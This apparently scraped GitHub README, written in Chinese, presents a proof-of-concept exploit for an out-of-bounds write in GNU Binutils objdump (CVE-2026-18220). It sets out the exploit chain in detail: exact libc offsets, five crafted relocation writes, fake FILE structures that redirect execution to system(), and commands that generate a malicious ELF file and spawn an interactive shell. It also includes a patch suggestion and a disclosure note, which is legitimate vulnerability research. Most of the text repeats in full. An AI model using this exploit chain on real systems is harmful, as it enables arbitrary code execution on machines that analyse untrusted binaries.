4D4J/objdump-Out-Of-Bounds-write
GitHub: 4D4J/objdump-Out-Of-Bounds-write
演示 GNU Binutils objdump 中 CVE-2026-18220 越界写入漏洞的概念验证项目,通过特制 ELF 文件实现从 OOB 写入到任意代码执行的完整利用链。
Stars: 74 | Forks: 18
# GNU Binutils objdump — OOB 写入 → FSOP → 任意代码执行 - CVE-2026-18220
**目标:** GNU Binutils(直至 HEAD 的所有版本)— `objdump`
**环境:** Debian 13 (Trixie), glibc 2.41, x86_64
**影响:** 任意代码执行
**攻击向量:** 由 `objdump -g` 处理的特制 ELF 文件
**ASLR:** 已绕过(确定性 mmap 偏移量)
## 漏洞 ### 根本原因 — `bfd/elf32-dlx.c` `R_DLX_RELOC_26_PCREL` 重定位处理程序 (`elf32_dlx_relocate26`) 在 `data + reloc_entry->address` 处执行 4 字节的读/写操作,而没有验证偏移量是否在节 (section) 大小范围内。由于该函数返回 `bfd_reloc_ok`,因此 `bfd/reloc.c` 中的通用边界检查被完全绕过。 ``` // bfd/elf32-dlx.c — elf32_dlx_relocate26() insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read vallo = insn & 0x03FFFFFF; if (vallo & 0x03000000) vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits val = (sym->section->vma + sym->value) - vallo; insn = (insn & 0xFC000000) | (val & 0x03FFFFFF); bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write return bfd_reloc_ok; // skips bounds check ``` 偏移量 `reloc_entry->address` 直接从 ELF 文件中读取,可以任意指向超出节缓冲区的位置。 ### mmap 邻近技巧 在 x86_64 上,ELF32 偏移量被零扩展 (zero-extended),这限制了写入操作只能是正偏移。一个 ≥ 128 KB 的 `.debug_info` 节会强制 `malloc()` 使用 `mmap()`,从而将缓冲区放置在紧邻 libc 数据段的位置: ``` ┌──────────────────────────────────────┐ ← same mmap region │ .debug_info buffer (192 KB) │ data = 0x7f...d010 │ ├── fake _IO_wide_data (+0x1000) │ │ └── fake _IO_jump_t (+0x2000) │ │ ... │ │ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0 │ _IO_wfile_jumps │ wfile = data + 0x218218 │ system() │ system() = data + 0x87100 └──────────────────────────────────────┘ ``` 偏移量 `stderr - data = 0x21A4D0` 在不同的 ASLR 运行中是**恒定**的,因为这两个内存区域都是在加载 libc 期间由同一次 mmap 分配的。 ## FSOP 利用链 ### 执行路径 ``` objdump writes to stderr ("Can't get contents for section...") └─► _IO_wfile_overflow(stderr) └─► _IO_wdoallocbuf(stderr) └─► _IO_WDOALLOCATE(stderr) = stderr->_wide_data->_wide_vtable->__doallocate(stderr) = fake_vtable[0x68](stderr) = system(stderr) = system("p;sh") ← stderr._flags[0:4] = "p;sh" ``` ### 5 次越界写入 (PCREL26) | # | 目标 (距 data 的偏移) | 效果 | |---|----------------------------|--------| | 0 | `0x21A4CF` = stderr − 1 | `_flags[0:3]` = `cmd[0..2]` → system() 参数的起始位置 | | 1 | `0x21A4F8` = stderr + 0x28 | `_IO_write_ptr` ≠ 0 → 强制刷新 → 溢出 | | 2 | `0x21A56F` = stderr + 0x9F | `_wide_data[0:3]` → 指向伪造的 _IO_wide_data | | 3 | `0x21A5A7` = stderr + 0xD7 | `vtable[0:3]` → `_IO_wfile_jumps` | | 4 | `0x21A4D2` = stderr + 2 | `_flags[3]` = `cmd[3]`,清除填充 → null 终止符 | ### 伪造结构 (位于节缓冲区中) ``` data + 0x1000 : fake _IO_wide_data +0xE0 : _wide_vtable → data + 0x2000 data + 0x2000 : fake _IO_jump_t +0x68 : __doallocate → system() ``` ### 命令约束 该 exploit 支持 **2 到 4 个字符**的命令。重定位 0 写入 `_flags[0:3]`,重定位 4 写入 `_flags[3]` 并清除填充,这使得 `system()` 在遇到天然的 null 终止符之前最多可以接收 4 个字符。 只有前两个字节受到 glibc 的 `FILE` 标志布局的约束: | 位 | 标志 | 约束条件 | 原因 | |-----|------|------------|--------| | 1 | `_IO_UNBUFFERED` | `cmd[0] & 0x02 == 0` | 否则 `_IO_wdoallocbuf` 会跳过 `__doallocate` | | 3 | `_IO_NO_WRITES` | `cmd[0] & 0x08 == 0` | 否则溢出会立即返回 WEOF | | 13 | `_IO_IS_FILEBUF` | `cmd[1] & 0x20 != 0` | 进入 doallocate 块的必要条件 | `cmd[2]` 和 `cmd[3]` 是**不受约束的**。 | 命令 | 字节 | 效果 | |---------|-------|--------| | `"ps"` | 70 73 | 列出进程 | | `"p;sh"` | 70 3B 73 68 | 生成交互式 shell ← 最有用 | | `"p;ls"` | 70 3B 6C 73 | 列出目录 | | `"p;id"` | 70 3B 69 64 | 打印 uid/gid | ## 复现 ### 前置条件 ``` # 构建支持 DLX target 的 binutils cd binutils-gdb && mkdir build && cd build ../configure --target=dlx-elf --disable-nls --disable-werror make -j$(nproc) ``` ### 生成 payload + 运行 exploit ``` # Step 1: 生成恶意 ELF(选择你的命令) python3 poc_generate.py --cmd "p;sh" -o exploit.bin # Step 2: 运行 exploit(开启 ASLR,standalone,无 GDB) python3 poc_ptrace.py --cmd "p;sh" # interactive shell python3 poc_ptrace.py --cmd "p;id" # print uid/gid python3 poc_ptrace.py # default: "ps" ``` 该 exploit 在遇到 ASLR 第 3 字节不匹配时(每次尝试概率约为 12%)会自动重试最多 5 次,从而达到 **~99.998% 的成功率**。 ### 预期输出 ``` [*] libc: /lib/x86_64-linux-gnu/libc.so.6 [*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68'] [*] objdump_base = 0x005e61dfbf5000 [*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26) [*] libc_base = 0x0075b1ed86c000 [*] stderr = 0x0075b1eda524e0 [*] system = 0x0075b1ed8bf110 [*] actual delta = 0x21a4d0 (expected 0x21a4d0) [*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s') [*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68) ... [+] system() reached — command executing $ id ← interactive shell uid=1000(user) gid=1000(user) groups=1000(user) [+] Done ``` ## 修复建议 在 `elf32_dlx_relocate26()` 访问节数据之前添加边界检查: ``` if (reloc_entry->address + 4 > input_section->size) return bfd_reloc_outofrange; ``` ## 文件 ## | 文件 | 描述 | |------|-------------| | `poc_generate.py` | 生成包含 5 次越界重定位的恶意 DLX ELF payload (`exploit.bin`) | | `poc_ptrace.py` | 独立 exploit — 基于 ptrace 的 ASLR 绕过,带重试循环,无需 GDB | | `exploit.bin` | 预先生成的 payload (默认命令 `"p;sh"`) | ## 披露 此漏洞已报告给 GNU Binutils 维护人员。 提供的 Exploit 代码仅用于授权的安全研究目的。 ## 补丁 [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5 ](https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5)
**环境:** Debian 13 (Trixie), glibc 2.41, x86_64
**影响:** 任意代码执行
**攻击向量:** 由 `objdump -g` 处理的特制 ELF 文件
**ASLR:** 已绕过(确定性 mmap 偏移量)
## 漏洞 ### 根本原因 — `bfd/elf32-dlx.c` `R_DLX_RELOC_26_PCREL` 重定位处理程序 (`elf32_dlx_relocate26`) 在 `data + reloc_entry->address` 处执行 4 字节的读/写操作,而没有验证偏移量是否在节 (section) 大小范围内。由于该函数返回 `bfd_reloc_ok`,因此 `bfd/reloc.c` 中的通用边界检查被完全绕过。 ``` // bfd/elf32-dlx.c — elf32_dlx_relocate26() insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read vallo = insn & 0x03FFFFFF; if (vallo & 0x03000000) vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits val = (sym->section->vma + sym->value) - vallo; insn = (insn & 0xFC000000) | (val & 0x03FFFFFF); bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write return bfd_reloc_ok; // skips bounds check ``` 偏移量 `reloc_entry->address` 直接从 ELF 文件中读取,可以任意指向超出节缓冲区的位置。 ### mmap 邻近技巧 在 x86_64 上,ELF32 偏移量被零扩展 (zero-extended),这限制了写入操作只能是正偏移。一个 ≥ 128 KB 的 `.debug_info` 节会强制 `malloc()` 使用 `mmap()`,从而将缓冲区放置在紧邻 libc 数据段的位置: ``` ┌──────────────────────────────────────┐ ← same mmap region │ .debug_info buffer (192 KB) │ data = 0x7f...d010 │ ├── fake _IO_wide_data (+0x1000) │ │ └── fake _IO_jump_t (+0x2000) │ │ ... │ │ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0 │ _IO_wfile_jumps │ wfile = data + 0x218218 │ system() │ system() = data + 0x87100 └──────────────────────────────────────┘ ``` 偏移量 `stderr - data = 0x21A4D0` 在不同的 ASLR 运行中是**恒定**的,因为这两个内存区域都是在加载 libc 期间由同一次 mmap 分配的。 ## FSOP 利用链 ### 执行路径 ``` objdump writes to stderr ("Can't get contents for section...") └─► _IO_wfile_overflow(stderr) └─► _IO_wdoallocbuf(stderr) └─► _IO_WDOALLOCATE(stderr) = stderr->_wide_data->_wide_vtable->__doallocate(stderr) = fake_vtable[0x68](stderr) = system(stderr) = system("p;sh") ← stderr._flags[0:4] = "p;sh" ``` ### 5 次越界写入 (PCREL26) | # | 目标 (距 data 的偏移) | 效果 | |---|----------------------------|--------| | 0 | `0x21A4CF` = stderr − 1 | `_flags[0:3]` = `cmd[0..2]` → system() 参数的起始位置 | | 1 | `0x21A4F8` = stderr + 0x28 | `_IO_write_ptr` ≠ 0 → 强制刷新 → 溢出 | | 2 | `0x21A56F` = stderr + 0x9F | `_wide_data[0:3]` → 指向伪造的 _IO_wide_data | | 3 | `0x21A5A7` = stderr + 0xD7 | `vtable[0:3]` → `_IO_wfile_jumps` | | 4 | `0x21A4D2` = stderr + 2 | `_flags[3]` = `cmd[3]`,清除填充 → null 终止符 | ### 伪造结构 (位于节缓冲区中) ``` data + 0x1000 : fake _IO_wide_data +0xE0 : _wide_vtable → data + 0x2000 data + 0x2000 : fake _IO_jump_t +0x68 : __doallocate → system() ``` ### 命令约束 该 exploit 支持 **2 到 4 个字符**的命令。重定位 0 写入 `_flags[0:3]`,重定位 4 写入 `_flags[3]` 并清除填充,这使得 `system()` 在遇到天然的 null 终止符之前最多可以接收 4 个字符。 只有前两个字节受到 glibc 的 `FILE` 标志布局的约束: | 位 | 标志 | 约束条件 | 原因 | |-----|------|------------|--------| | 1 | `_IO_UNBUFFERED` | `cmd[0] & 0x02 == 0` | 否则 `_IO_wdoallocbuf` 会跳过 `__doallocate` | | 3 | `_IO_NO_WRITES` | `cmd[0] & 0x08 == 0` | 否则溢出会立即返回 WEOF | | 13 | `_IO_IS_FILEBUF` | `cmd[1] & 0x20 != 0` | 进入 doallocate 块的必要条件 | `cmd[2]` 和 `cmd[3]` 是**不受约束的**。 | 命令 | 字节 | 效果 | |---------|-------|--------| | `"ps"` | 70 73 | 列出进程 | | `"p;sh"` | 70 3B 73 68 | 生成交互式 shell ← 最有用 | | `"p;ls"` | 70 3B 6C 73 | 列出目录 | | `"p;id"` | 70 3B 69 64 | 打印 uid/gid | ## 复现 ### 前置条件 ``` # 构建支持 DLX target 的 binutils cd binutils-gdb && mkdir build && cd build ../configure --target=dlx-elf --disable-nls --disable-werror make -j$(nproc) ``` ### 生成 payload + 运行 exploit ``` # Step 1: 生成恶意 ELF(选择你的命令) python3 poc_generate.py --cmd "p;sh" -o exploit.bin # Step 2: 运行 exploit(开启 ASLR,standalone,无 GDB) python3 poc_ptrace.py --cmd "p;sh" # interactive shell python3 poc_ptrace.py --cmd "p;id" # print uid/gid python3 poc_ptrace.py # default: "ps" ``` 该 exploit 在遇到 ASLR 第 3 字节不匹配时(每次尝试概率约为 12%)会自动重试最多 5 次,从而达到 **~99.998% 的成功率**。 ### 预期输出 ``` [*] libc: /lib/x86_64-linux-gnu/libc.so.6 [*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68'] [*] objdump_base = 0x005e61dfbf5000 [*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26) [*] libc_base = 0x0075b1ed86c000 [*] stderr = 0x0075b1eda524e0 [*] system = 0x0075b1ed8bf110 [*] actual delta = 0x21a4d0 (expected 0x21a4d0) [*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s') [*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68) ... [+] system() reached — command executing $ id ← interactive shell uid=1000(user) gid=1000(user) groups=1000(user) [+] Done ``` ## 修复建议 在 `elf32_dlx_relocate26()` 访问节数据之前添加边界检查: ``` if (reloc_entry->address + 4 > input_section->size) return bfd_reloc_outofrange; ``` ## 文件 ## | 文件 | 描述 | |------|-------------| | `poc_generate.py` | 生成包含 5 次越界重定位的恶意 DLX ELF payload (`exploit.bin`) | | `poc_ptrace.py` | 独立 exploit — 基于 ptrace 的 ASLR 绕过,带重试循环,无需 GDB | | `exploit.bin` | 预先生成的 payload (默认命令 `"p;sh"`) | ## 披露 此漏洞已报告给 GNU Binutils 维护人员。 提供的 Exploit 代码仅用于授权的安全研究目的。 ## 补丁 [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5 ](https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5)
标签:GNU Binutils, Go语言工具, PoC, Web报告查看器, 二进制安全, 云资产清单, 内存破坏, 暴力破解, 逆向工具, 逆向工程